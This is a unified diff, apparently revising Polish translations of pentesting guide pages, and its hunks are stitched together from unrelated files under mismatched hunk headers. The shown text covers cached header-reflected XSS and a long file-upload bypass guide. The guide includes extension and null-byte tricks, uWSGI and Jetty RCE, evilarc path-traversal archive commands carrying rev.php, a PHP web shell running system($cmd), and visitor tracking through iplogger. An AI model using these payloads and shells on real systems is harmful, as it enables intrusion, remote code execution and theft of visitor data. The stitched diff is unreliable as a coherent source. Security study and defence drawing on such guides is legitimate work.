-W tym scenariuszu zaobserwowano wystąpienie strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku `X-User-id`, który może zawierać złośliwy kod JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera znacznik obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.
+W tym scenariuszu zaobserwowano instancję strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku `X-User-id`, który może zawierać złośliwy JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera tag obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.
-Polityki Cross-Origin Resource Sharing (CORS) umożliwiają wysyłanie niestandardowych nagłówków. Jednak bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Krytyczny punkt pojawia się, gdy rozważa się zachowanie pamięci podręcznej przeglądarki. Jeśli nie jest określony nagłówek `Vary: Origin`, możliwe staje się zapisanie złośliwej odpowiedzi w pamięci podręcznej przeglądarki. Następnie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Mechanizm ten zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.
+Polityki Cross-Origin Resource Sharing (CORS) pozwalają na wysyłanie niestandardowych nagłówków. Jednakże, bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Istotny punkt pojawia się przy rozważeniu zachowania pamięci podręcznej przeglądarki. Jeśli nagłówek `Vary: Origin` nie jest określony, staje się możliwe, aby złośliwa odpowiedź została zapisana w pamięci podręcznej przeglądarki. W rezultacie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Ten mechanizm zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.
-Aby zilustrować ten atak, przedstawiono przykład skryptu JavaScript, który ma być wykonany w środowisku strony internetowej, na przykład za pomocą JSFiddle. Ten skrypt wykonuje prostą czynność: wysyła żądanie do określonego adresu URL z niestandardowym nagłówkiem zawierającym złośliwy kod JavaScript. Po pomyślnym zakończeniu żądania próbuje nawigować do docelowego adresu URL, co potencjalnie może spowodować wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez odpowiedniego obsługiwania nagłówka `Vary: Origin`.
+Aby zilustrować ten atak, dostarczony jest przykład skryptu JavaScript, zaprojektowanego do wykonania w środowisku strony internetowej, na przykład poprzez JSFiddle. Ten skrypt wykonuje prostą czynność: wysyła żądanie pod wskazany adres URL z niestandardowym nagłówkiem zawierającym złośliwy JavaScript. Po pomyślnym zakończeniu żądania, próbuje nawigować do docelowego adresu URL, potencjalnie wywołując wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez właściwego obsługiwania nagłówka `Vary: Origin`.
-Poniżej przedstawiono podsumowanie użytego skryptu JavaScript do wykonania tego ataku:
+Oto zwięzłe podsumowanie użytego JavaScriptu do wykonania tego ataku:
```html
@@ -219,51 +232,7 @@ body { background: url('...'); }
-
+
-Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
+Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagany biegły polski w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -33,13 +33,13 @@ Inne przydatne rozszerzenia:
* **Perl**: _.pl, .cgi_
* **Serwer WWW Erlang Yaws**: _.yaws_
-### Ominiecie sprawdzania rozszerzeń plików
+### Ominięcie sprawdzania rozszerzeń plików
1. Jeśli stosują się, **sprawdź** **poprzednie rozszerzenia**. Sprawdź je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
-2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
+2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
* _file.png.php_
* _file.png.Php5_
-3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **przeprowadzenia ataku brutalnej siły** na wszystkie znaki **ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
+3. Spróbuj dodać **znaki specjalne na końcu**. Możesz użyć Burp do **próby siłowej** wszystkich znaków **ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@@ -49,7 +49,7 @@ Inne przydatne rozszerzenia:
* _file._
* _file.php...._
* _file.pHp5...._
-4. Spróbuj ominąć zabezpieczenia **oszukując analizator rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub dodawanie **śmieciowych** danych (bajty **null**) między rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** do przygotowania lepszego ładunku._
+4. Spróbuj ominąć zabezpieczenia **oszukując analizator rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub dodawanie danych **śmieciowych** (bajty **null**) między rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** do przygotowania lepszego ładunku._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@@ -61,48 +61,48 @@ Inne przydatne rozszerzenia:
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
-6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracji Apache, gdzie cokolwiek z rozszerzeniem **.php**, ale niekoniecznie kończące się na .php\*\* będzie wykonywać kod):
+6. Spróbuj umieścić **rozszerzenie wykonawcze przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracji Apache, gdzie cokolwiek z rozszerzeniem **.php**, ale niekoniecznie kończące się na .php\*\* będzie wykonywać kod):
* _np. file.php.png_
-7. Używanie **alternatywnego strumienia danych NTFS (ADS)** w **Windows**. W tym przypadku po niedozwolonym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze zostanie utworzony **pusty plik z niedozwolonym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak korzystanie z jego krótkiej nazwy pliku. Wzorzec „**::$data**” może również być używany do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. „file.asp::$data.”)
-8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php
+7. Używanie **alternatywnego strumienia danych NTFS (ADS)** w **Windows**. W tym przypadku po niedozwolonym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze zostanie utworzony **pusty plik z niedozwolonym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak korzystanie z jego krótkiej nazwy pliku. Wzorzec "**::$data**" może również być używany do tworzenia niepustych plików. Dlatego dodanie kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. "file.asp::$data.")
+8. Spróbuj złamać limity nazwy pliku. Prawidłowe rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php
```
# Maksymalnie 255 bajtów w systemie Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # odejmij 4 i dodaj .png
-# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Załóżmy 236
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # odjęcie 4 tutaj i dodanie .png
+# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Powiedzmy 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Utwórz ładunek
AAA<--SNIP 232 A-->AAA.php.png
```
-### Ominięcie sprawdzania typu zawartości, numeru magicznego, kompresji i zmiany rozmiaru
+### Ominięcie typu zawartości, numeru magicznego, kompresji i zmiany rozmiaru
-* Ominięcie sprawdzania **typu zawartości** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_, _text/plain_, _application/octet-stream_
+* Ominięcie sprawdzania **typu zawartości** przez ustawienie **wartości** **nagłówka** **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
1. **Słownik typów zawartości**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Ominięcie sprawdzania **numeru magicznego** poprzez dodanie na początku pliku **bajtów rzeczywistego obrazu** (myli polecenie _file_). Lub wprowadzenie powłoki w **metadanych**:\
`exiftool -Comment="' >> img.png`
-* Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład za pomocą standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki nie będą przydatne. Możesz jednak użyć **kawałka PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
+* Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład za pomocą standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki nie będą przydatne. Możesz jednak użyć **kawałka PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
-* Strona internetowa może również **zmieniać rozmiar obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **kawałka IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
+* Strona internetowa może również **zmieniać rozmiar obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **kawałka IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
-* Inna technika umożliwiająca utworzenie ładunku, który **przetrwa zmianę rozmiaru obrazu**, to użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **kawałka tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
+* Inna technika umożliwiająca stworzenie ładunku, który **przetrwa zmianę rozmiaru obrazu**, to użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **kawałka tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Inne sztuczki do sprawdzenia
-* Znajdź podatność umożliwiającą **zmianę nazwy** już przesłanego pliku (zmianę rozszerzenia).
+* Znajdź podatność umożliwiającą **zmianę nazwy** już przesłanego pliku (aby zmienić rozszerzenie).
* Znajdź podatność na **Lokalne Włączenie Pliku** do wykonania backdoor.
* **Możliwe ujawnienie informacji**:
-1. Prześlij **kilka razy** (i **jednocześnie**) ten **sam plik** o **tej samej nazwie**
-2. Prześlij plik o **nazwie** pliku lub folderu, który **już istnieje**
-3. Prześlij plik o nazwie **“.”, “..”, lub “…”**. Na przykład w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, plik o nazwie “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
+1. Prześlij **kilka razy** (i **jednocześnie**) **ten sam plik** o **tej samej nazwie**
+2. Prześlij plik o **nazwie** **pliku** lub **folderu**, który **już istnieje**
+3. Prześlij plik o nazwie **“.”, “..”, lub “…”**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” stworzy plik o nazwie “uploads” w katalogu “/www/”.
4. Prześlij plik, który nie może być łatwo usunięty, taki jak **“…:.jpg”** w **NTFS**. (Windows)
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w nazwie. (Windows)
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zakazanych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9.
-* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** po przypadkowym otwarciu przez ofiarę.
+* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** gdy zostanie przypadkowo otwarty przez ofiarę.
### Specjalne sztuczki z rozszerzeniami
@@ -115,7 +115,7 @@ Rozszerzenie `.inc` jest czasami używane dla plików php, które służą tylko
## **Jetty RCE**
-Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, ponieważ **nowe pliki \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak wspomniano na poniższym obrazku, przesłaj plik XML do `$JETTY_BASE/webapps/` i czekaj na powłokę!
+Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, ponieważ **nowe pliki \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak wspomniano na poniższym obrazie, przesłaj plik XML do `$JETTY_BASE/webapps/` i czekaj na powłokę!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
@@ -123,7 +123,7 @@ Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, poni
Dla szczegółowego zbadania tej podatności sprawdź oryginalne badania: [Eksploatacja uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
-Podatności na zdalne wykonanie kodu (RCE) mogą być wykorzystane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują określoną składnię do uwzględniania "magicznych" zmiennych, zastępców i operatorów. Warto zauważyć, że operator '@', używany jako `@(nazwa_pliku)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, umożliwiając odczytywanie danych z wyjścia standardowego procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonanie kodu lub zapis/odczyt plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
+Podatności na zdalne wykonanie kodu (RCE) mogą być wykorzystane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują konkretną składnię do uwzględniania "magicznych" zmiennych, zastępców i operatorów. Warto zauważyć, że operator '@', używany jako `@(nazwapliku)`, służy do dołączania zawartości pliku. Spośród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, umożliwiając odczytywanie danych z wyjścia standardowego procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonanie kodu lub zapis/odczyt plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Rozważ poniższy przykład szkodliwego pliku `uwsgi.ini`, prezentującego różne schematy:
```ini
@@ -149,8 +149,8 @@ Niezwykle istotne jest zrozumienie luźnego charakteru analizy pliku konfiguracy
## **Sztuczka z przesyłaniem plików/SSRF za pomocą wget**
-W niektórych sytuacjach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **określić** **URL**. W tych przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane są tylko dozwolone pliki. Jednakże, **ta weryfikacja może zostać ominięta.**\
-**Maksymalna** długość **nazwy pliku** w systemie **Linux** to **255**, jednakże **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **weryfikację** (jak w tym przykładzie **".gif"** to **poprawne** rozszerzenie), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
+W niektórych sytuacjach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **określić** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane są tylko dozwolone pliki. Jednakże, **to sprawdzenie można ominąć.**\
+**Maksymalna** długość **nazwy pliku** w systemie **linux** wynosi **255**, jednakże **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **omija** **sprawdzenie** (jak w tym przykładzie **".gif"** to **poprawne** rozszerzenie), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -177,7 +177,7 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby ominąć tę kont
## Narzędzia
-* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) to potężne narzędzie zaprojektowane do pomocy Pentesterom i Łowcom Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki nagród za błędy, aby uproszczać proces identyfikacji i wykorzystywania podatności, zapewniając dokładne oceny aplikacji internetowych.
+* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) to potężne narzędzie zaprojektowane do pomocy Pentesterom i Łowcom Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki nagród za błędy, aby uproszczać proces identyfikacji i wykorzystywania podatności, zapewniając kompleksową ocenę aplikacji internetowych.
## Od przesyłania plików do innych podatności
@@ -188,12 +188,12 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby ominąć tę kont
* [**XSS** w przesyłanym pliku obrazu (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Przesyłanie pliku **JS** + **XSS** = [Eksploatacja **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE w przesyłanym svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
-* [**Przekierowanie otwarte** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
+* [**Otwarte przekierowanie** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Wypróbuj **różne ładunki svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Znana podatność **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-* Jeśli możesz **wskazać serwer internetowy, aby przechwycił obraz z adresu URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać adres URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
-* [**XXE i omijanie CORS** poprzez przesyłanie pliku PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-* Specjalnie przygotowane pliki PDF do XSS: [Następna strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesłać pliki PDF, możesz przygotować PDF, który będzie wykonywał dowolny JS, postępując zgodnie z podanymi wskazówkami.
+* Jeśli możesz **wskazać serwerowi internetowemu, aby przechwycił obraz z adresu URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać adres URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
+* [**XXE i bypass CORS** poprzez przesyłanie pliku PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
+* Specjalnie przygotowane pliki PDF do XSS: [Następna strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesłać pliki PDF, możesz przygotować PDF, które wykonają dowolny JS, postępując zgodnie z podanymi wskazówkami.
* Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma **antywirusa**
* Sprawdź, czy istnieje jakieś **ograniczenie rozmiaru** przesyłanych plików
@@ -205,7 +205,7 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](
4. **CSV**: Wstrzyknięcie CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
-7. **HTML / JS** : Wstrzyknięcie HTML / XSS / Przekierowanie otwarte
+7. **HTML / JS** : Wstrzyknięcie HTML / XSS / Otwarte przekierowanie
8. **PNG / JPEG**: Atak zalewania pikseli (DoS)
9. **ZIP**: RCE poprzez LFI / DoS
10. **PDF / PPTX**: SSRF / Ślepa XXE
@@ -235,7 +235,7 @@ tar -cvf test.tar symindex.txt
```
### Dekompresuj w różnych folderach
-Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi istotny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości nawigacji po katalogach formatu archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym ominąć ograniczenia i uciec z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
+Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi istotny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, obsługa hierarchicznego kompresowania i możliwości nawigacji po katalogach formatu archiwum ZIP mogą być wykorzystane. Pozwala to atakującym ominąć ograniczenia i uciec z bezpiecznych katalogów przesyłania poprzez manipulowanie funkcjonalnością dekompresji docelowej aplikacji.
Automatyczny exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
```python
@@ -244,7 +244,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
-Dodatkowo, **szalony trik z symlinkiem z evilarc** jest opcją. Jeśli celem jest docelowy plik tak jak `/flag.txt`, należy utworzyć symlink do tego pliku w systemie. Zapewnia to, że evilarc nie napotyka błędów podczas swojej operacji.
+Dodatkowo, **szalony trik z symlinkiem z evilarc** jest opcją. Jeśli celem jest docelowy plik np. `/flag.txt`, należy utworzyć symlink do tego pliku w systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojego działania.
Poniżej znajduje się przykład kodu w języku Python używanego do utworzenia złośliwego pliku zip:
```python
@@ -266,7 +266,7 @@ create_zip()
```
**Wykorzystywanie kompresji do rozprzestrzeniania plików**
-Aby uzyskać dalsze szczegóły, **sprawdź oryginalny post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Aby uzyskać więcej informacji, **sprawdź oryginalny post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Tworzenie powłoki PHP**: Kod PHP jest napisany w celu wykonywania poleceń przekazywanych przez zmienną `$_REQUEST`.
@@ -278,7 +278,7 @@ system($cmd);
}?>
```
-2. **Rozprzestrzenianie plików i tworzenie skompresowanego pliku**: Tworzone są multiple pliki, a następnie tworzony jest archiwum zip zawierające te pliki.
+2. **Rozprzestrzenianie plików i tworzenie skompresowanego pliku**: Tworzone są multiple pliki, a następnie tworzony jest plik zip zawierający te pliki.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
@@ -302,13 +302,13 @@ pop graphic-context
Osadzenie powłoki PHP w segmencie IDAT pliku PNG może skutecznie ominąć pewne operacje przetwarzania obrazu. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostania niezmienionej podczas tych operacji stanowi znaczącą zaletę w pewnych przypadkach użycia.
-Szczegółowe omówienie tej techniki, wraz z jej metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Kodowanie powłok internetowych w segmentach IDAT pliku PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
+Szczegółowe omówienie tej techniki, wraz z jej metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Kodowanie powłok internetowych w segmentach IDAT plików PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
Więcej informacji pod adresem: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Pliki poliglotyczne
-Pliki poliglotyczne stanowią unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleon, który może istnieć jednocześnie w wielu formatach plików. Zainteresującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która funkcjonuje zarówno jako plik GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
+Pliki poliglotyczne stanowią unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleon, który może istnieć jednocześnie w wielu formatach plików. Zainteresującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która pełni funkcje zarówno pliku GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
Główna użyteczność plików poliglotycznych polega na ich zdolności do omijania środków bezpieczeństwa, które przesiewają pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania - takie jak JPEG, GIF lub DOC - w celu zmniejszenia ryzyka związanego z potencjalnie szkodliwymi formatami (np. JS, PHP lub plikami Phar). Jednak plik poliglotyczny, poprzez dostosowanie się do kryteriów strukturalnych wielu typów plików, może skutecznie ominąć te ograniczenia.
@@ -325,9 +325,9 @@ Więcej informacji pod adresem: [https://medium.com/swlh/polyglot-files-a-hacker
